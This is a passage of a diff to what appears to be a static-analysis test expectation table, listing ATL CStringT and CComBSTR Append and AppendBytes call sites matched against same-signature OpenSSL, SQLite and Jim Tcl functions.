+| atl.cpp:425:13:425:18 | Append | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_saltlen | 1 | +| atl.cpp:425:13:425:18 | Append | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_trailerfield | 1 | +| atl.cpp:425:13:425:18 | Append | (SSL *,int) | | SSL_key_update | 1 | +| atl.cpp:425:13:425:18 | Append | (SSL *,int) | | SSL_set_post_handshake_auth | 1 | +| atl.cpp:425:13:425:18 | Append | (SSL *,int) | | SSL_set_purpose | 1 | +| atl.cpp:425:13:425:18 | Append | (SSL *,int) | | SSL_set_quic_tls_early_data_enabled | 1 | +| atl.cpp:425:13:425:18 | Append | (SSL *,int) | | SSL_set_quiet_shutdown | 1 | +| atl.cpp:425:13:425:18 | Append | (SSL *,int) | | SSL_set_read_ahead | 1 | +| atl.cpp:425:13:425:18 | Append | (SSL *,int) | | SSL_set_security_level | 1 | +| atl.cpp:425:13:425:18 | Append | (SSL *,int) | | SSL_set_shutdown | 1 | +| atl.cpp:425:13:425:18 | Append | (SSL *,int) | | SSL_set_trust | 1 | +| atl.cpp:425:13:425:18 | Append | (SSL *,int) | | SSL_set_verify_depth | 1 | +| atl.cpp:425:13:425:18 | Append | (SSL_CONNECTION *,int) | | dtls1_read_failed | 1 | +| atl.cpp:425:13:425:18 | Append | (SSL_CONNECTION *,int) | | ossl_statem_send_fatal | 1 | +| atl.cpp:425:13:425:18 | Append | (SSL_CONNECTION *,int) | | ossl_statem_set_in_init | 1 | +| atl.cpp:425:13:425:18 | Append | (SSL_CONNECTION *,int) | | tls1_shared_group | 1 | +| atl.cpp:425:13:425:18 | Append | (SSL_CTX *,int) | | SSL_CTX_set_post_handshake_auth | 1 | +| atl.cpp:425:13:425:18 | Append | (SSL_CTX *,int) | | SSL_CTX_set_purpose | 1 | +| atl.cpp:425:13:425:18 | Append | (SSL_CTX *,int) | | SSL_CTX_set_quiet_shutdown | 1 | +| atl.cpp:425:13:425:18 | Append | (SSL_CTX *,int) | | SSL_CTX_set_security_level | 1 | +| atl.cpp:425:13:425:18 | Append | (SSL_CTX *,int) | | SSL_CTX_set_srp_strength | 1 | +| atl.cpp:425:13:425:18 | Append | (SSL_CTX *,int) | | SSL_CTX_set_trust | 1 | +| atl.cpp:425:13:425:18 | Append | (SSL_CTX *,int) | | SSL_CTX_set_verify_depth | 1 | +| atl.cpp:425:13:425:18 | Append | (SSL_CTX *,int) | | ssl_md | 1 | +| atl.cpp:425:13:425:18 | Append | (SSL_SESSION *,int) | | SSL_SESSION_set_protocol_version | 1 | +| atl.cpp:425:13:425:18 | Append | (TS_REQ *,int) | | TS_REQ_delete_ext | 1 | +| atl.cpp:425:13:425:18 | Append | (TS_REQ *,int) | | TS_REQ_get_ext | 1 | +| atl.cpp:425:13:425:18 | Append | (TS_RESP_CTX *,int) | | TS_RESP_CTX_add_flags | 1 | +| atl.cpp:425:13:425:18 | Append | (TS_STATUS_INFO *,int) | | TS_STATUS_INFO_set_status | 1 | +| atl.cpp:425:13:425:18 | Append | (TS_TST_INFO *,int) | | TS_TST_INFO_delete_ext | 1 | +| atl.cpp:425:13:425:18 | Append | (TS_TST_INFO *,int) | | TS_TST_INFO_get_ext | 1 | +| atl.cpp:425:13:425:18 | Append | (TS_VERIFY_CTX *,int) | | TS_VERIFY_CTX_add_flags | 1 | +| atl.cpp:425:13:425:18 | Append | (TS_VERIFY_CTX *,int) | | TS_VERIFY_CTX_set_flags | 1 | +| atl.cpp:425:13:425:18 | Append | (WPACKET *,int) | | ossl_DER_w_begin_sequence | 1 | +| atl.cpp:425:13:425:18 | Append | (X509 *,int) | | X509_delete_ext | 1 | +| atl.cpp:425:13:425:18 | Append | (X509 *,int) | | X509_self_signed | 1 | +| atl.cpp:425:13:425:18 | Append | (X509_ACERT *,int) | | X509_ACERT_delete_attr | 1 | +| atl.cpp:425:13:425:18 | Append | (X509_ATTRIBUTE *,int) | | X509_ATTRIBUTE_get0_type | 1 | +| atl.cpp:425:13:425:18 | Append | (X509_CRL *,int) | | X509_CRL_delete_ext | 1 | +| atl.cpp:425:13:425:18 | Append | (X509_NAME *,int) | | X509_NAME_delete_entry | 1 | +| atl.cpp:425:13:425:18 | Append | (X509_REQ *,int) | | X509_REQ_delete_attr | 1 | +| atl.cpp:425:13:425:18 | Append | (X509_REVOKED *,int) | | X509_REVOKED_delete_ext | 1 | +| atl.cpp:425:13:425:18 | Append | (X509_STORE *,int) | | X509_STORE_set_depth | 1 | +| atl.cpp:425:13:425:18 | Append | (X509_STORE *,int) | | X509_STORE_set_purpose | 1 | +| atl.cpp:425:13:425:18 | Append | (X509_STORE *,int) | | X509_STORE_set_trust | 1 | +| atl.cpp:425:13:425:18 | Append | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_depth | 1 | +| atl.cpp:425:13:425:18 | Append | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_error | 1 | +| atl.cpp:425:13:425:18 | Append | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_error_depth | 1 | +| atl.cpp:425:13:425:18 | Append | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_purpose | 1 | +| atl.cpp:425:13:425:18 | Append | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_trust | 1 | +| atl.cpp:425:13:425:18 | Append | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_get0_host | 1 | +| atl.cpp:425:13:425:18 | Append | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_auth_level | 1 | +| atl.cpp:425:13:425:18 | Append | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_depth | 1 | +| atl.cpp:425:13:425:18 | Append | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_purpose | 1 | +| atl.cpp:425:13:425:18 | Append | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_trust | 1 | +| atl.cpp:425:13:425:18 | Append | (acttab *,int) | | acttab_insert | 1 | +| atl.cpp:425:13:425:18 | Append | (char *,int) | | PEM_proc_type | 1 | | atl.cpp:425:13:425:18 | Append | (char,int) | CStringT | CStringT | 1 | +| atl.cpp:425:13:425:18 | Append | (const ASN1_BIT_STRING *,int) | | ASN1_BIT_STRING_get_bit | 1 | +| atl.cpp:425:13:425:18 | Append | (const BIGNUM *,int) | | BN_get_flags | 1 | +| atl.cpp:425:13:425:18 | Append | (const BIGNUM *,int) | | BN_is_bit_set | 1 | +| atl.cpp:425:13:425:18 | Append | (const BIO *,int) | | BIO_get_ex_data | 1 | +| atl.cpp:425:13:425:18 | Append | (const BIO *,int) | | BIO_test_flags | 1 | +| atl.cpp:425:13:425:18 | Append | (const CMS_SignerInfo *,int) | | CMS_signed_get_attr | 1 | +| atl.cpp:425:13:425:18 | Append | (const CMS_SignerInfo *,int) | | CMS_unsigned_get_attr | 1 | +| atl.cpp:425:13:425:18 | Append | (const CRYPTO_EX_DATA *,int) | | CRYPTO_get_ex_data | 1 | +| atl.cpp:425:13:425:18 | Append | (const DH *,int) | | DH_get_ex_data | 1 | +| atl.cpp:425:13:425:18 | Append | (const DH *,int) | | DH_test_flags | 1 | +| atl.cpp:425:13:425:18 | Append | (const DH *,int) | | ossl_dh_dup | 1 | +| atl.cpp:425:13:425:18 | Append | (const DSA *,int) | | DSA_get_ex_data | 1 | +| atl.cpp:425:13:425:18 | Append | (const DSA *,int) | | DSA_test_flags | 1 | +| atl.cpp:425:13:425:18 | Append | (const DSA *,int) | | ossl_dsa_dup | 1 | +| atl.cpp:425:13:425:18 | Append | (const ECX_KEY *,int) | | ossl_ecx_key_dup | 1 | +| atl.cpp:425:13:425:18 | Append | (const EC_KEY *,int) | | EC_KEY_get_ex_data | 1 | +| atl.cpp:425:13:425:18 | Append | (const EC_KEY *,int) | | ossl_ec_key_dup | 1 | +| atl.cpp:425:13:425:18 | Append | (const ENGINE *,int) | | ENGINE_get_ex_data | 1 | +| atl.cpp:425:13:425:18 | Append | (const EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_test_flags | 1 | +| atl.cpp:425:13:425:18 | Append | (const EVP_MD_CTX *,int) | | EVP_MD_CTX_test_flags | 1 | +| atl.cpp:425:13:425:18 | Append | (const EVP_PKEY *,int) | | EVP_PKEY_get_attr | 1 | +| atl.cpp:425:13:425:18 | Append | (const EVP_PKEY *,int) | | EVP_PKEY_get_ex_data | 1 | +| atl.cpp:425:13:425:18 | Append | (const ML_DSA_KEY *,int) | | ossl_ml_dsa_key_dup | 1 | +| atl.cpp:425:13:425:18 | Append | (const ML_KEM_KEY *,int) | | ossl_ml_kem_key_dup | 1 | +| atl.cpp:425:13:425:18 | Append | (const OPENSSL_STACK *,int) | | OPENSSL_sk_value | 1 | +| atl.cpp:425:13:425:18 | Append | (const OSSL_CMP_CERTREPMESSAGE *,int) | | ossl_cmp_certrepmessage_get0_certresponse | 1 | +| atl.cpp:425:13:425:18 | Append | (const OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_get0_newPkey | 1 | +| atl.cpp:425:13:425:18 | Append | (const OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_get_option | 1 | +| atl.cpp:425:13:425:18 | Append | (const OSSL_CMP_PKISI *,int) | | ossl_cmp_pkisi_check_pkifailureinfo | 1 | +| atl.cpp:425:13:425:18 | Append | (const OSSL_CMP_POLLREPCONTENT *,int) | | ossl_cmp_pollrepcontent_get0_pollrep | 1 | +| atl.cpp:425:13:425:18 | Append | (const QUIC_CHANNEL *,int) | | ossl_quic_channel_get_local_stream_count_avail | 1 | +| atl.cpp:425:13:425:18 | Append | (const QUIC_CHANNEL *,int) | | ossl_quic_channel_get_remote_stream_count_avail | 1 | +| atl.cpp:425:13:425:18 | Append | (const RSA *,int) | | RSA_get_ex_data | 1 | +| atl.cpp:425:13:425:18 | Append | (const RSA *,int) | | RSA_test_flags | 1 | +| atl.cpp:425:13:425:18 | Append | (const RSA *,int) | | ossl_rsa_dup | 1 | +| atl.cpp:425:13:425:18 | Append | (const SLH_DSA_KEY *,int) | | ossl_slh_dsa_key_dup | 1 | +| atl.cpp:425:13:425:18 | Append | (const SSL *,int) | | SSL_get_ex_data | 1 | +| atl.cpp:425:13:425:18 | Append | (const SSL_CTX *,int) | | SSL_CTX_get_ex_data | 1 | +| atl.cpp:425:13:425:18 | Append | (const SSL_SESSION *,int) | | SSL_SESSION_get_ex_data | 1 | +| atl.cpp:425:13:425:18 | Append | (const SSL_SESSION *,int) | | ssl_session_dup | 1 | +| atl.cpp:425:13:425:18 | Append | (const UI *,int) | | UI_get_ex_data | 1 | +| atl.cpp:425:13:425:18 | Append | (const UI_METHOD *,int) | | UI_method_get_ex_data | 1 | +| atl.cpp:425:13:425:18 | Append | (const X509 *,int) | | X509_get_ex_data | 1 | +| atl.cpp:425:13:425:18 | Append | (const X509 *,int) | | X509_get_ext | 1 | +| atl.cpp:425:13:425:18 | Append | (const X509_ACERT *,int) | | X509_ACERT_get_attr | 1 | +| atl.cpp:425:13:425:18 | Append | (const X509_CRL *,int) | | X509_CRL_get_ext | 1 | +| atl.cpp:425:13:425:18 | Append | (const X509_NAME *,int) | | X509_NAME_get_entry | 1 | +| atl.cpp:425:13:425:18 | Append | (const X509_POLICY_LEVEL *,int) | | X509_policy_level_get0_node | 1 | +| atl.cpp:425:13:425:18 | Append | (const X509_POLICY_TREE *,int) | | X509_policy_tree_get0_level | 1 | +| atl.cpp:425:13:425:18 | Append | (const X509_REQ *,int) | | X509_REQ_get_attr | 1 | +| atl.cpp:425:13:425:18 | Append | (const X509_REVOKED *,int) | | X509_REVOKED_get_ext | 1 | +| atl.cpp:425:13:425:18 | Append | (const X509_STORE *,int) | | X509_STORE_get_ex_data | 1 | +| atl.cpp:425:13:425:18 | Append | (const X509_STORE_CTX *,int) | | X509_STORE_CTX_get_ex_data | 1 | | atl.cpp:425:13:425:18 | Append | (const XCHAR *,int) | CStringT | CStringT | 1 | | atl.cpp:425:13:425:18 | Append | (const YCHAR *,int) | CStringT | CStringT | 1 | +| atl.cpp:425:13:425:18 | Append | (const char *,int) | | DH_meth_new | 1 | +| atl.cpp:425:13:425:18 | Append | (const char *,int) | | DSA_meth_new | 1 | +| atl.cpp:425:13:425:18 | Append | (const char *,int) | | Jim_StrDupLen | 1 | +| atl.cpp:425:13:425:18 | Append | (const char *,int) | | NETSCAPE_SPKI_b64_decode | 1 | +| atl.cpp:425:13:425:18 | Append | (const char *,int) | | RSA_meth_new | 1 | +| atl.cpp:425:13:425:18 | Append | (const char *,int) | | parse_yesno | 1 | +| atl.cpp:425:13:425:18 | Append | (const stack_st_X509_ATTRIBUTE *,int) | | X509at_get_attr | 1 | +| atl.cpp:425:13:425:18 | Append | (const stack_st_X509_EXTENSION *,int) | | X509v3_get_ext | 1 | +| atl.cpp:425:13:425:18 | Append | (const unsigned char *,int) | | Jim_GenHashFunction | 1 | +| atl.cpp:425:13:425:18 | Append | (const unsigned char *,int) | | OPENSSL_uni2asc | 1 | +| atl.cpp:425:13:425:18 | Append | (const unsigned char *,int) | | OPENSSL_uni2utf8 | 1 | +| atl.cpp:425:13:425:18 | Append | (int *,int) | | X509_PURPOSE_set | 1 | +| atl.cpp:425:13:425:18 | Append | (int *,int) | | X509_TRUST_set | 1 | +| atl.cpp:425:13:425:18 | Append | (int,int) | | BN_security_bits | 1 | +| atl.cpp:425:13:425:18 | Append | (int,int) | | EVP_MD_meth_new | 1 | +| atl.cpp:425:13:425:18 | Append | (int,int) | | EVP_PKEY_meth_new | 1 | +| atl.cpp:425:13:425:18 | Append | (int,int) | | acttab_alloc | 1 | +| atl.cpp:425:13:425:18 | Append | (rule *,int) | | Configlist_add | 1 | +| atl.cpp:425:13:425:18 | Append | (rule *,int) | | Configlist_addbasis | 1 | +| atl.cpp:425:13:425:18 | Append | (sqlite3 *,int) | | sqlite3_busy_timeout | 1 | +| atl.cpp:425:13:425:18 | Append | (sqlite3 *,int) | | sqlite3_db_name | 1 | +| atl.cpp:425:13:425:18 | Append | (sqlite3 *,int) | | sqlite3_wal_autocheckpoint | 1 | +| atl.cpp:425:13:425:18 | Append | (sqlite3_backup *,int) | | sqlite3_backup_step | 1 | +| atl.cpp:425:13:425:18 | Append | (sqlite3_context *,int) | | sqlite3_aggregate_context | 1 | +| atl.cpp:425:13:425:18 | Append | (sqlite3_context *,int) | | sqlite3_result_error_code | 1 | +| atl.cpp:425:13:425:18 | Append | (sqlite3_index_info *,int) | | sqlite3_vtab_collation | 1 | +| atl.cpp:425:13:425:18 | Append | (sqlite3_stmt *,int) | | sqlite3_bind_parameter_name | 1 | +| atl.cpp:425:13:425:18 | Append | (sqlite3_stmt *,int) | | sqlite3_column_blob | 1 | +| atl.cpp:425:13:425:18 | Append | (sqlite3_stmt *,int) | | sqlite3_column_bytes | 1 | +| atl.cpp:425:13:425:18 | Append | (sqlite3_stmt *,int) | | sqlite3_column_bytes16 | 1 | +| atl.cpp:425:13:425:18 | Append | (sqlite3_stmt *,int) | | sqlite3_column_decltype | 1 | +| atl.cpp:425:13:425:18 | Append | (sqlite3_stmt *,int) | | sqlite3_column_decltype16 | 1 | +| atl.cpp:425:13:425:18 | Append | (sqlite3_stmt *,int) | | sqlite3_column_double | 1 | +| atl.cpp:425:13:425:18 | Append | (sqlite3_stmt *,int) | | sqlite3_column_int | 1 | +| atl.cpp:425:13:425:18 | Append | (sqlite3_stmt *,int) | | sqlite3_column_int64 | 1 | +| atl.cpp:425:13:425:18 | Append | (sqlite3_stmt *,int) | | sqlite3_column_name | 1 | +| atl.cpp:425:13:425:18 | Append | (sqlite3_stmt *,int) | | sqlite3_column_name16 | 1 | +| atl.cpp:425:13:425:18 | Append | (sqlite3_stmt *,int) | | sqlite3_column_text | 1 | +| atl.cpp:425:13:425:18 | Append | (sqlite3_stmt *,int) | | sqlite3_column_text16 | 1 | +| atl.cpp:425:13:425:18 | Append | (sqlite3_stmt *,int) | | sqlite3_column_type | 1 | +| atl.cpp:425:13:425:18 | Append | (sqlite3_stmt *,int) | | sqlite3_column_value | 1 | +| atl.cpp:425:13:425:18 | Append | (sqlite3_stmt *,int) | | sqlite3_stmt_explain | 1 | +| atl.cpp:425:13:425:18 | Append | (stack_st_PKCS7 *,int) | | PKCS12_add_safes | 1 | +| atl.cpp:425:13:425:18 | Append | (stack_st_SSL_COMP *,int) | | ssl3_comp_find | 1 | +| atl.cpp:425:13:425:18 | Append | (stack_st_X509_ATTRIBUTE *,int) | | X509at_delete_attr | 1 | +| atl.cpp:425:13:425:18 | Append | (stack_st_X509_EXTENSION *,int) | | X509v3_delete_ext | 1 | +| atl.cpp:425:13:425:18 | Append | (uint16_t,int) | | tls1_group_id2nid | 1 | +| atl.cpp:425:13:425:18 | Append | (unsigned char *,int) | | RAND_bytes | 1 | +| atl.cpp:425:13:425:18 | Append | (unsigned char *,int) | | RAND_priv_bytes | 1 | +| atl.cpp:425:13:425:18 | Append | (unsigned char *,int) | | ossl_ipaddr_to_asc | 1 | +| atl.cpp:425:13:425:18 | Append | (unsigned short,int) | | dtls1_get_queue_priority | 1 | +| atl.cpp:425:13:425:18 | Append | (void *,int) | | DSO_dsobyaddr | 1 | +| atl.cpp:425:13:425:18 | Append | (void *,int) | | sqlite3_realloc | 1 | | atl.cpp:425:13:425:18 | Append | (wchar_t,int) | CStringT | CStringT | 1 | | atl.cpp:426:13:426:22 | AppendBSTR | (wchar_t *) | CStringT | CStringT | 0 | +| atl.cpp:427:13:427:23 | AppendBytes | (ASN1_STRING *,int) | | ASN1_STRING_length_set | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (ASYNC_WAIT_CTX *,int) | | ASYNC_WAIT_CTX_set_status | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (BIGNUM *,int) | | BN_clear_bit | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (BIGNUM *,int) | | BN_mask_bits | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (BIGNUM *,int) | | BN_set_bit | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (BIGNUM *,int) | | BN_set_flags | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (BIGNUM *,int) | | bn_expand2 | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (BIGNUM *,int) | | bn_wexpand | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (BIGNUM *,int) | | ossl_bn_mask_bits_fixed_top | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (BIO *,int) | | BIO_clear_flags | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (BIO *,int) | | BIO_find_type | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (BIO *,int) | | BIO_set_flags | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (BIO *,int) | | BIO_set_init | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (BIO *,int) | | BIO_set_retry_reason | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (BIO *,int) | | BIO_set_shutdown | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (BIO *,int) | | TXT_DB_read | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (CMS_SignerInfo *,int) | | CMS_signed_delete_attr | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (CMS_SignerInfo *,int) | | CMS_unsigned_delete_attr | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (DH *,int) | | DH_clear_flags | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (DH *,int) | | DH_set_flags | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (DH_METHOD *,int) | | DH_meth_set_flags | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (DSA *,int) | | DSA_clear_flags | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (DSA *,int) | | DSA_set_flags | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (DSA_METHOD *,int) | | DSA_meth_set_flags | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (EC_GROUP *,int) | | EC_GROUP_set_asn1_flag | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (EC_GROUP *,int) | | EC_GROUP_set_curve_name | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (EC_KEY *,int) | | EC_KEY_clear_flags | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (EC_KEY *,int) | | EC_KEY_set_asn1_flag | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (EC_KEY *,int) | | EC_KEY_set_flags | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (ENGINE *,int) | | ENGINE_cmd_is_executable | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (ENGINE *,int) | | ENGINE_set_flags | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (EVP_CIPHER *,int) | | EVP_CIPHER_meth_set_impl_ctx_size | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (EVP_CIPHER *,int) | | EVP_CIPHER_meth_set_iv_length | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_clear_flags | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_flags | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_key_length | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_num | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (EVP_KEYMGMT *,int) | | evp_keymgmt_util_query_operation_name | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (EVP_MD *,int) | | EVP_MD_meth_set_app_datasize | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (EVP_MD *,int) | | EVP_MD_meth_set_input_blocksize | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (EVP_MD *,int) | | EVP_MD_meth_set_result_size | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (EVP_MD_CTX *,int) | | EVP_MD_CTX_clear_flags | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (EVP_MD_CTX *,int) | | EVP_MD_CTX_set_flags | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (EVP_PKEY *,int) | | EVP_PKEY_delete_attr | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (EVP_PKEY *,int) | | EVP_PKEY_save_parameters | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (EVP_PKEY *,int) | | EVP_PKEY_set_type | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_get_keygen_info | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_kdf_type | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_nid | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_paramgen_type | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_rfc5114 | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dhx_rfc5114 | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ec_param_enc | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ec_paramgen_curve_nid | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ecdh_kdf_type | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_hkdf_mode | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_rsa_padding | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_rsa_pss_saltlen | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (FFC_PARAMS *,int) | | ossl_ffc_params_set_gindex | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (FFC_PARAMS *,int) | | ossl_ffc_params_set_h | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (FFC_PARAMS *,int) | | ossl_ffc_params_set_pcounter | 1 | | atl.cpp:427:13:427:23 | AppendBytes | (LPCOLESTR,int) | CComBSTR | Append | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (OCSP_BASICRESP *,int) | | OCSP_BASICRESP_delete_ext | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (OCSP_BASICRESP *,int) | | OCSP_BASICRESP_get_ext | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (OCSP_BASICRESP *,int) | | OCSP_resp_get0 | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (OCSP_ONEREQ *,int) | | OCSP_ONEREQ_delete_ext | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (OCSP_ONEREQ *,int) | | OCSP_ONEREQ_get_ext | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (OCSP_REQUEST *,int) | | OCSP_REQUEST_delete_ext | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (OCSP_REQUEST *,int) | | OCSP_REQUEST_get_ext | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (OCSP_REQUEST *,int) | | OCSP_request_onereq_get0 | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (OCSP_SINGLERESP *,int) | | OCSP_SINGLERESP_delete_ext | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (OCSP_SINGLERESP *,int) | | OCSP_SINGLERESP_get_ext | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (OPENSSL_STACK *,int) | | OPENSSL_sk_delete | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (OPENSSL_STACK *,int) | | OPENSSL_sk_reserve | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (OPENSSL_sk_compfunc,int) | | OPENSSL_sk_new_reserve | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (OSSL_ACKM *,int) | | ossl_ackm_get_ack_deadline | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (OSSL_ACKM *,int) | | ossl_ackm_get_ack_frame | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (OSSL_ACKM *,int) | | ossl_ackm_get_largest_acked | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (OSSL_ACKM *,int) | | ossl_ackm_on_pkt_space_discarded | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_set_serverPort | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (OSSL_CMP_CTX *,int) | | ossl_cmp_ctx_set_failInfoCode | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (OSSL_CMP_CTX *,int) | | ossl_cmp_ctx_set_status | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (OSSL_CMP_CTX *,int) | | ossl_cmp_msg_create | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (OSSL_CMP_CTX *,int) | | ossl_cmp_pollReq_new | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (OSSL_CMP_MSG *,int) | | ossl_cmp_msg_set_bodytype | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (OSSL_CMP_PKIHEADER *,int) | | ossl_cmp_hdr_set_pvno | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (OSSL_CMP_REVREPCONTENT *,int) | | ossl_cmp_revrepcontent_get_CertId | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (OSSL_CMP_REVREPCONTENT *,int) | | ossl_cmp_revrepcontent_get_pkisi | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_accept_raverified | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_accept_unprotected | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_grant_implicit_confirm | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_send_unprotected_errors | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (OSSL_CRMF_PKIPUBLICATIONINFO *,int) | | OSSL_CRMF_MSG_set_PKIPublicationInfo_action | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (OSSL_DECODER_CTX *,int) | | OSSL_DECODER_CTX_set_selection | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (OSSL_ENCODER_CTX *,int) | | OSSL_ENCODER_CTX_set_selection | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (OSSL_LIB_CTX *,int) | | OSSL_LIB_CTX_get_data | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (OSSL_LIB_CTX *,int) | | OSSL_LIB_CTX_set_conf_diagnostics | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (OSSL_LIB_CTX *,int) | | ossl_ctx_global_properties | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (OSSL_LIB_CTX *,int) | | 